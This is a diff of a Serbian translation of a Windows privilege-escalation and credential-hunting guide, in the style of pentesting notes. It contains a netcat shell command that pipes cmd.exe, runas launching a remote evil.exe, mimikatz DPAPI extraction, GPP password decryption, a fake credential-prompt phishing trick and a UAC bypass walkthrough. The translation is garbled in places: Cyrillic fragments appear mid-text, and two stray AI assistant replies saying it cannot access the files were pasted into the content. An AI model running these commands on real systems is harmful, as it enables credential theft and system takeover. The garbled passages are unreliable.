```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Korišćenje `runas` sa prosleđenim credential. +Korišćenje `runas` sa prosleđenim skupom kredencijala. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` @@ -761,18 +768,18 @@ Imajte na umu da mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net ### DPAPI -The **Data Protection API (DPAPI)** provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy. +**Data Protection API (DPAPI)** pruža metod za simetričnu enkripciju podataka, uglavnom korišćen u operativnom sistemu Windows za simetričnu enkripciju asimetričnih privatnih ključeva. Ova enkripcija koristi korisnički ili sistemski tajni podatak koji značajno doprinosi entropiji. -**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. In scenarios involving system encryption, it utilizes the system's domain authentication secrets. +**DPAPI omogućava enkripciju ključeva kroz simetrični ključ koji je izveden iz korisnikovih login tajni**. U scenarijima sistemske enkripcije koristi tajne autentifikacije domena sistema. -Šifrovani korisnički RSA ključevi, pomoću DPAPI, čuvaju se u direktorijumu `%APPDATA%\Microsoft\Protect\{SID}`, gde `{SID}` predstavlja korisnikov [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **DPAPI key, koji je smešten zajedno sa master ključem koji čuva korisničke privatne ključeve u istoj datoteci**, obično se sastoji od 64 bajta nasumičnih podataka. (Važno je napomenuti da je pristup ovom direktorijumu ograničen, što onemogućava listanje njegovog sadržaja pomoću `dir` komande u CMD, iako se može listati kroz PowerShell). +Enkriptovani korisnički RSA ključevi, koristeći DPAPI, čuvaju se u direktorijumu `%APPDATA%\Microsoft\Protect\{SID}`, gde `{SID}` predstavlja korisnikov [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **DPAPI key, co-located with the master key that safeguards the user's private keys in the same file**, obično se sastoji od 64 bajta nasumičnih podataka. (Važno je napomenuti da je pristup ovom direktorijumu ograničen, što onemogućava listanje njegovog sadržaja pomoću `dir` komande u CMD, iako se može listati preko PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Možete koristiti **mimikatz module** `dpapi::masterkey` sa odgovarajućim argumentima (`/pvk` ili `/rpc`) da ga dešifrujete. +Možete koristiti **mimikatz module** `dpapi::masterkey` sa odgovarajućim argumentima (`/pvk` ili `/rpc`) да га дешифрујете. -Obično se **credentials files protected by the master password** nalaze u: +**credentials files protected by the master password** obично se nalaze u: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ @@ -780,8 +787,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` Možete koristiti **mimikatz module** `dpapi::cred` sa odgovarajućim `/masterkey` da dešifrujete.\ -Možete **extract many DPAPI** **masterkeys** iz **memory** pomoću `sekurlsa::dpapi` modula (ako ste root). - +Možete **izvući mnoge DPAPI** **masterkeys** iz **memory** pomoću `sekurlsa::dpapi` modula (ako ste root). {{#ref}} dpapi-extracting-passwords.md @@ -789,9 +795,9 @@ dpapi-extracting-passwords.md ### PowerShell Credentials -**PowerShell credentials** se često koriste za **scripting** i automation zadatke kao zgodan način za čuvanje enkriptovanih credentials. Credentials su zaštićeni korišćenjem **DPAPI**, što obično znači da ih može dešifrovati samo isti korisnik na istom računaru na kojem su kreirani. +**PowerShell credentials** se često koriste za **scripting** i zadatke automatizacije kao praktičan način za čuvanje šifrovanih kredencijala. Kredencijali su zaštićeni korišćenjem **DPAPI**, što obično znači da mogu biti dešifrovani samo od strane istog korisnika na istom računaru na kojem su kreirani. -Da biste **decrypt** PS credentials iz fajla koji ih sadrži, možete uraditi: +Da biste **dešifrovali** PS credentials iz fajla koji ih sadrži, možete uraditi: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -813,7 +819,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ``` ### Sačuvane RDP konekcije -Možete ih pronaći na `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +Možete ih pronaći u `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ i u `HKCU\Software\Microsoft\Terminal Server Client\Servers\` ### Nedavno pokrenute komande @@ -821,7 +827,7 @@ i u `HKCU\Software\Microsoft\Terminal Server Client\Servers\` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Upravljač kredencijala za Remote Desktop** +### **Upravnik akreditiva za Remote Desktop** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` @@ -830,14 +836,15 @@ Možete **izvući mnoge DPAPI masterkeys** iz memorije pomoću Mimikatz `sekurls ### Sticky Notes -Ljudi često koriste StickyNotes app na Windows radnim stanicama da **sačuvaju lozinke** i druge informacije, ne shvatajući da je to baza podataka. Ovaj fajl se nalazi na `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` i uvek vredi tražiti i pregledati. +Ljudi često koriste StickyNotes app na Windows radnim stanicama da **sačuvaju lozinke** i druge informacije, ne shvatajući da je to fajl baze podataka. Ovaj fajl se nalazi na `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` i uvek vredi potražiti i pregledati. ### AppCmd.exe -**Napomena: da biste vratili lozinke iz AppCmd.exe morate biti Administrator i pokrenuti ga na High Integrity level.**\ -**AppCmd.exe** se nalazi u direktorijumu `%systemroot%\system32\inetsrv\`.\ Ako ovaj fajl postoji, moguće je da su neke **credentials** konfigurisane i da se mogu **recovered**. +**Napomena: da biste povratili lozinke iz AppCmd.exe morate biti Administrator i pokrenuti pod High Integrity level.**\ +**AppCmd.exe** se nalazi u direktorijumu `%systemroot%\system32\inetsrv\`.\ +Ako ovaj fajl postoji, moguće je da su neki **credentials** konfigurisani i mogu biti **oporavljeni**. -Ovaj kod je izvađen iz [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +Ovaj kod je preuzet iz [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -918,7 +925,7 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Proverite da li `C:\Windows\CCM\SCClient.exe` postoji .\ -Instalateri se **pokreću sa SYSTEM privilegijama**, mnogi su ranjivi na **DLL Sideloading (Informacije sa** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Instalateri se **run with SYSTEM privileges**, mnogi su ranjivi na **DLL Sideloading (Informacije sa** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -930,27 +937,27 @@ else { Write "Not Installed." } ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH Host Keys +### Putty SSH host ključevi ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` ### SSH ključevi u registru -Privatni SSH ključevi mogu biti sačuvani u registry ključu `HKCU\Software\OpenSSH\Agent\Keys`, pa bi trebalo da proverite da li se tamo nalazi nešto interesantno: +SSH privatni ključevi mogu biti pohranjeni u registru pod ključem `HKCU\Software\OpenSSH\Agent\Keys`, pa treba proveriti ima li tamo nešto zanimljivo: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Ako pronađete bilo koji unos unutar tog puta, verovatno je u pitanju sačuvan SSH ključ. Čuva se šifrovano, ali se lako može dešifrovati korišćenjem [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Ako pronađete bilo koji unos na toj putanji, verovatno je to sačuvani SSH ključ. Skladišten je enkriptovan, ali se može lako dekriptovati pomoću [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Više informacija o ovoj tehnici ovde: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Ako `ssh-agent` servis nije pokrenut i želite da se automatski pokreće pri podizanju sistema, pokrenite: +Ako `ssh-agent` servis ne radi i želite da se automatski pokrene pri pokretanju sistema, pokrenite: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Izgleda da ova tehnika više nije validna. Pokušao sam da napravim neke ssh ključeve, dodam ih sa `ssh-add` i ulogujem se preko ssh na mašinu. Registar HKCU\Software\OpenSSH\Agent\Keys ne postoji i procmon nije identifikovao upotrebu `dpapi.dll` tokom autentifikacije asimetričnim ključem. +> Izgleda da ova tehnika više nije važeća. Pokušao sam da kreiram nekoliko ssh ključeva, dodam ih sa `ssh-add` i prijavim se putem ssh na mašinu. Registar HKCU\Software\OpenSSH\Agent\Keys ne postoji i procmon nije identifikovao upotrebu `dpapi.dll` tokom autentifikacije asimetričnim ključevima. -### Datoteke bez nadzora +### Fajlovi bez nadzora ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -965,7 +972,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -Takođe možete pretraživati ove fajlove koristeći **metasploit**: _post/windows/gather/enum_unattend_ +Takođe možete pretražiti ove fajlove koristeći **metasploit**: _post/windows/gather/enum_unattend_ Primer sadržaja: ```xml @@ -996,7 +1003,7 @@ Primer sadržaja: %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Cloud kredencijali +### Cloud Credentials ```bash #From user home .aws\credentials @@ -1008,15 +1015,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Potražite fajl pod nazivom **SiteList.xml** +Potražite datoteku nazvanu **SiteList.xml** ### Keširana GPP lozinka -Ranije je postojala funkcionalnost koja je omogućavala raspoređivanje prilagođenih lokalnih administratorskih naloga na grupu računara putem Group Policy Preferences (GPP). Međutim, ova metoda je imala značajne bezbednosne propuste. Prvo, Group Policy Objects (GPOs), koji su čuvani kao XML fajlovi u SYSVOL, mogli su biti pristupljeni od strane bilo kog domenskog korisnika. Drugo, lozinke unutar ovih GPP-ova, šifrovane AES256 koristeći javno dokumentovani podrazumevani ključ, mogle su biti dešifrovane od strane bilo kog autentifikovanog korisnika. To je predstavljalo ozbiljan rizik, jer je moglo omogućiti korisnicima da dobiju povišene privilegije. +Ranije je postojala opcija koja je omogućavala raspoređivanje prilagođenih lokalnih administratorskih naloga na grupi mašina putem Group Policy Preferences (GPP). Međutim, ova metoda imala je ozbiljne bezbednosne propuste. Prvo, Group Policy Objects (GPOs), koji se čuvaju kao XML fajlovi u SYSVOL-u, mogli su biti dostupni svakom domenskom korisniku. Drugo, lozinke u tim GPP-ovima, šifrovane AES256 koristeći javno dokumentovani podrazumevani ključ, mogle su biti dešifrovane od strane bilo kog autentifikovanog korisnika. To je predstavljalo ozbiljan rizik jer je moglo omogućiti korisnicima dobijanje povišenih privilegija. -Da bi se ublažio ovaj rizik, razvijena je funkcija koja skenira lokalno keširane GPP fajlove koji sadrže polje "cpassword" koje nije prazno. Po pronalasku takvog fajla, funkcija dešifruje lozinku i vraća prilagođeni PowerShell objekat. Ovaj objekat sadrži detalje o GPP-u i lokaciji fajla, pomažući u identifikaciji i otklanjanju ove bezbednosne ranjivosti. +Da bi se umanjio ovaj rizik, razvijena je funkcija koja skenira lokalno keširane GPP fajlove koji sadrže polje "cpassword" koje nije prazno. Kada pronađe takav fajl, funkcija dešifruje lozinku i vraća prilagođeni PowerShell objekat. Taj objekat sadrži detalje o GPP-u i lokaciji fajla, pomažući u identifikaciji i sanaciji ovog bezbednosnog propusta. -Pretražite u `C:\ProgramData\Microsoft\Group Policy\history` ili u _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (pre Windows Viste)_ za ove fajlove: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (pre Windows Vista)_ for these files: - Groups.xml - Services.xml @@ -1025,16 +1032,16 @@ Pretražite u `C:\ProgramData\Microsoft\Group Policy\history` ili u _**C:\Docume - Printers.xml - Drives.xml -**Za dešifrovanje cPassword-a:** +**Da dešifrujete cPassword:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -Korišćenje crackmapexec za dobijanje lozinki: +Korišćenje crackmapexec za dobijanje passwords: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web konfiguracija +### IIS Web Config ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1048,7 +1055,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -Primer web.config fajla sa kredencijalima: +Primer fajla web.config sa kredencijalima: ```xml @@ -1058,7 +1065,7 @@ Primer web.config fajla sa kredencijalima: ``` -### OpenVPN акредитиви +### OpenVPN kredencijali ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1078,7 +1085,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Logovi +### Logs ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1086,9 +1093,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Pitajte za credentials +### Zatražite credentials -Uvek možete **zamoliti user-a da unese svoje credentials ili čak credentials drugog user-a** ako mislite da ih može znati (imajte na umu da je direktno **pitati** client-a za **credentials** zaista **rizično**): +Uvek možete **zamoliti korisnika da unese svoje credentials ili čak credentials nekog drugog korisnika** ako mislite da ih može znati (imajte na umu da je **traženje** od klijenta direktno za **credentials** zaista **rizično**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1098,7 +1105,7 @@ $cred.GetNetworkCredential() | fl ``` ### **Mogući nazivi fajlova koji sadrže credentials** -Poznati fajlovi koji su pre nekog vremena sadržavali **passwords** u **nešifrovanom obliku** ili **Base64** +Poznati fajlovi koji su pre nekog vremena sadržali **passwords** u **clear-text** ili **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1162,7 +1169,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Niste priložili nijedan od predloženih fajlova. Pošaljite sadržaj (ili putanje) fajlova koje treba da pretražim, ili precizirajte šta tačno treba da tražim. +I don't have access to your repository or filesystem. Please paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md (or provide the exact files you want searched), and confirm you want the full translation into Serbian while preserving markdown/tags as described. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1171,15 +1178,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Kredencijali u RecycleBin +### Credentials in the RecycleBin -Takođe bi trebalo da proverite Bin da biste potražili kredencijale u njemu +Takođe treba proveriti Bin da biste potražili credentials u njemu -Za **oporavak lozinki** sačuvanih od strane nekoliko programa možete koristiti: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +To **recover passwords** saved by several programs you can use: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### U registru +### Inside the registry -**Drugi mogući ključevi registra sa kredencijalima** +**Other possible registry keys with credentials** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1190,10 +1197,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### Istorija pregledača -Treba da proverite baze podataka (dbs) gde su sačuvane lozinke iz **Chrome or Firefox**.\ -Takođe proverite istoriju, obeleživače i favorite pregledača jer je moguće da su neke **passwords are** sačuvane tamo. +Trebalo bi da proverite baze podataka (dbs) u kojima se čuvaju lozinke iz **Chrome or Firefox**.\ +Takođe proverite history, bookmarks i favourites pregledača jer možda su neke **lozinke** sačuvane tamo. -Alati za izvlačenje lozinki iz pregledača: +Alati za ekstrakciju lozinki iz pregledača: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1202,49 +1209,49 @@ Alati za izvlačenje lozinki iz pregledača: ### **COM DLL Overwriting** -**Component Object Model (COM)** je tehnologija ugrađena u Windows operativni sistem koja omogućava **međukomunikaciju** između softverskih komponenti pisanih u različitim jezicima. Svaka COM komponenta je **identifikovana putem class ID (CLSID)** i svaka komponenta izlaže funkcionalnost preko jednog ili više interfejsa, identifikovanih putem interface IDs (IIDs). +**Component Object Model (COM)** je tehnologija ugrađena u Windows operativni sistem koja omogućava **međusobnu komunikaciju** između softverskih komponenti napisanih u različitim jezicima. Svaka COM komponenta je **identifikovana putem class ID (CLSID)** i svaka komponenta izlaže funkcionalnost kroz jednu ili više interfejsa, identifikovanih putem interface IDs (IIDs). COM klase i interfejsi su definisani u registru pod **HKEY\CLASSES\ROOT\CLSID** i **HKEY\CLASSES\ROOT\Interface** respektivno. Ovaj registar se kreira spajanjem **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Unutar CLSID-ova u ovom registru možete pronaći podključ **InProcServer32** koji sadrži **default value** koji pokazuje na **DLL** i vrednost nazvanu **ThreadingModel** koja može biti **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) ili **Neutral** (Thread Neutral). +Unutar CLSID-ova u ovom registru možete pronaći child key **InProcServer32** koji sadrži **default value** koja pokazuje na **DLL** i vrednost nazvanu **ThreadingModel** koja može biti **Apartment** (jednonitni), **Free** (višenitni), **Both** (jedno- ili višenitni) ili **Neutral** (neutralan prema nitima). ![](<../../images/image (729).png>) -U suštini, ako možete **overwrite any of the DLLs** koje će se izvršiti, mogli biste **escalate privileges** ako taj DLL bude izvršen od strane drugog korisnika. +U suštini, ako možete **prepisati bilo koji od DLL-ova** koji će biti izvršeni, mogli biste **povišiti privilegije** ako taj DLL bude izvršen od strane drugog korisnika. -Da biste saznali kako napadači koriste COM Hijacking kao mehanizam perzistencije, proverite: +Da biste saznali kako napadači koriste COM Hijacking kao mehanizam za postojanost, pogledajte: {{#ref}} com-hijacking.md {{#endref}} -### **Generic Password search in files and registry** +### **Generička pretraga lozinki u fajlovima i registru** -Pretražite sadržaj fajlova +**Pretraži sadržaj fajlova** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Pronađi fajl sa određenim imenom** +**Potražite datoteku sa određenim imenom** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Pretražite registar za imena ključeva i lozinke** +**Pretražite registar za nazive ključeva i lozinke** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Alati koji pretražuju passwords +### Alati koji traže passwords -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **je msf** plugin. Napravio sam ovaj plugin da **automatski izvršava svaki metasploit POST module koji pretražuje credentials** unutar žrtve.\ +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin. Napravio sam ovaj plugin da **automatically execute every metasploit POST module that searches for credentials** inside the victim.\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatski pretražuje sve fajlove koji sadrže passwords pomenute na ovoj stranici.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) je još jedan odličan alat za izvlačenje password iz sistema. +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) je još jedan odličan alat za izvlačenje password-a iz sistema. Alat [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) pretražuje **sessions**, **usernames** i **passwords** nekoliko alata koji čuvaju ove podatke u clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP) ```bash @@ -1255,30 +1262,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Zamislite da **proces koji se izvršava kao SYSTEM otvori novi proces** (`OpenProcess()`) sa **potpunim pristupom**. Isti proces **takođe kreira novi proces** (`CreateProcess()`) **sa niskim privilegijama ali nasleđujući sve otvorene handle-ove glavnog procesa**.\ -Ako zatim imate **potpun pristup tom procesu sa niskim privilegijama**, možete dohvatiti **otvoreni handle prema privilegovanom procesu kreiranom** pomoću `OpenProcess()` i **inject-ovati shellcode**.\ -[Pročitajte ovaj primer za više informacija o **kako detektovati i iskoristiti ovu ranjivost**.](leaked-handle-exploitation.md)\ -[Pročitajte ovaj **drugi post za potpunije objašnjenje kako testirati i zloupotrebiti više otvorenih handle-ova procesa i thread-ova nasleđenih sa različitim nivoima dozvola (ne samo full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Zamislite da **proces koji radi kao SYSTEM otvori novi proces** (`OpenProcess()`) sa **puni pristup**. Isti proces **takođe kreira novi proces** (`CreateProcess()`) **sa niskim privilegijama ali nasleđuje sve otvorene handle-e glavnog procesa**.\ +Zatim, ako imate **puni pristup procesu sa niskim privilegijama**, možete uzeti **otvoreni handle ka privilegovanom procesu kreiranom pomoću** `OpenProcess()` i **injektovati shellcode**.\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Segmenti deljene memorije, poznati kao **pipes**, omogućavaju komunikaciju između procesa i prenos podataka. +Deljeni segmenti memorije, nazvani **pipes**, omogućavaju međuprocesnu komunikaciju i prenos podataka. -Windows pruža funkcionalnost nazvanu **Named Pipes**, koja dozvoljava nepovezanim procesima da dele podatke, čak i preko različitih mreža. Ovo liči na client/server arhitekturu, sa ulogama definisanim kao **named pipe server** i **named pipe client**. +Windows pruža funkcionalnost pod nazivom **Named Pipes**, koja omogućava nevezanim procesima da dele podatke, čak i preko različitih mreža. Ovo podseća na client/server arhitekturu, sa ulogama definisanim kao **named pipe server** i **named pipe client**. -Kada podaci budu poslati kroz pipe od strane **client-a**, **server** koji je postavio pipe ima mogućnost da **preuzme identitet** tog **client-a**, pod uslovom da ima potrebna prava **SeImpersonate**. Identifikovanje **privileged procesa** koji komunicira preko pipe-a koji možete imitirati pruža priliku da **steknete veće privilegije** preuzimanjem identiteta tog procesa kada on interaguje sa pipe-om koji ste vi uspostavili. Uputstva za izvođenje takvog napada mogu se naći [**ovde**](named-pipe-client-impersonation.md) i [**ovde**](#from-high-integrity-to-system). +Kada **client** pošalje podatke kroz pipe, **server** koji je napravio pipe ima mogućnost da **preuzme identitet** **client-a**, pod uslovom da ima potrebna **SeImpersonate** prava. Identifikovanje **privilegovanog procesa** koji komunicira putem pipe-a koji možete imitirati pruža priliku da **steknete više privilegija** usvajanjem identiteta tog procesa kada on komunicira sa pipe-om koji ste vi postavili. Za instrukcije kako izvesti takav napad, korisni vodiči se mogu naći [**ovde**](named-pipe-client-impersonation.md) i [**ovde**](#from-high-integrity-to-system). -Takođe, sledeći alat omogućava da **intercept-ujete named pipe komunikaciju alatkom kao što je burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **i ovaj alat omogućava da listate i vidite sve pipes kako biste pronašli privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Takođe, sledeći alat omogućava da presretnete komunikaciju named pipe-a pomoću alata kao što je burp: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) i ovaj alat omogućava listanje i pregled svih pipes kako biste pronašli privescs: [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Ostalo +## Misc -### Ekstenzije fajlova koje mogu izvršavati kod u Windows +### File Extensions that could execute stuff in Windows Pogledajte stranicu **[https://filesec.io/](https://filesec.io/)** -### **Praćenje komandne linije radi lozinki** +### **Monitoring Command Lines for passwords** -Kada dobijete shell kao korisnik, mogu postojati zakazani zadaci ili drugi procesi koji se izvršavaju i koji **prosleđuju kredencijale preko komandne linije**. Skripta ispod hvata komandne linije procesa na svake dve sekunde i upoređuje trenutno stanje sa prethodnim, ispisujući sve razlike. +Kada dobijete shell kao korisnik, mogu postojati zakazani zadaci ili drugi procesi koji se izvršavaju i koji **prosleđuju kredencijale preko komandne linije**. Skripta ispod hvata komandne linije procesa svake dve sekunde i upoređuje trenutno stanje sa prethodnim, ispisujući sve razlike. ```bash while($true) { @@ -1290,11 +1297,11 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2 ``` ## Krađa lozinki iz procesa -## Od korisnika sa niskim privilegijama do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## Od Low Priv User do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Ako imate pristup grafičkom interfejsu (preko konzole ili RDP) i UAC je omogućen, u nekim verzijama Microsoft Windows moguće je pokrenuti terminal ili bilo koji drugi process kao "NT\AUTHORITY SYSTEM" iz naloga bez privilegija. +Ako imate pristup grafičkom interfejsu (putem konzole ili RDP) i UAC je omogućen, u nekim verzijama Microsoft Windows moguće je pokrenuti terminal ili bilo koji drugi proces kao "NT\AUTHORITY SYSTEM" iz neprivilegovanog korisnika. -Ovo omogućava eskalaciju privilegija i istovremeno zaobilaženje UAC-a pomoću iste ranjivosti. Dodatno, nije potrebno ništa instalirati, a binary koji se koristi tokom procesa potpisan je i izdat od strane Microsoft-a. +Ovo omogućava eskalaciju privilegija i zaobilaženje UAC-a istovremeno koristeći istu ranjivost. Dodatno, nema potrebe za instalacijom bilo čega, a binary koji se koristi tokom procesa je potpisan i izdat od strane Microsoft-a. Neki od pogođenih sistema su sledeći: ``` @@ -1318,7 +1325,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Da biste iskoristili ovu ranjivost, potrebno je izvršiti sledeće korake: +Да бисте exploit this vulnerability, потребно је извршити следеће кораке: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1340,134 +1347,134 @@ You have all the necessary files and information in the following GitHub reposit https://github.com/jas502n/CVE-2019-1388 -## From Administrator Medium to High Integrity Level / UAC Bypass +## Od Administrator Medium do High Integrity Level / UAC Bypass -Pročitajte ovo da biste naučili o Integrity Levels: +Pročitajte ovo da biste **saznali o Integrity Levels**: {{#ref}} integrity-levels.md {{#endref}} -Zatim 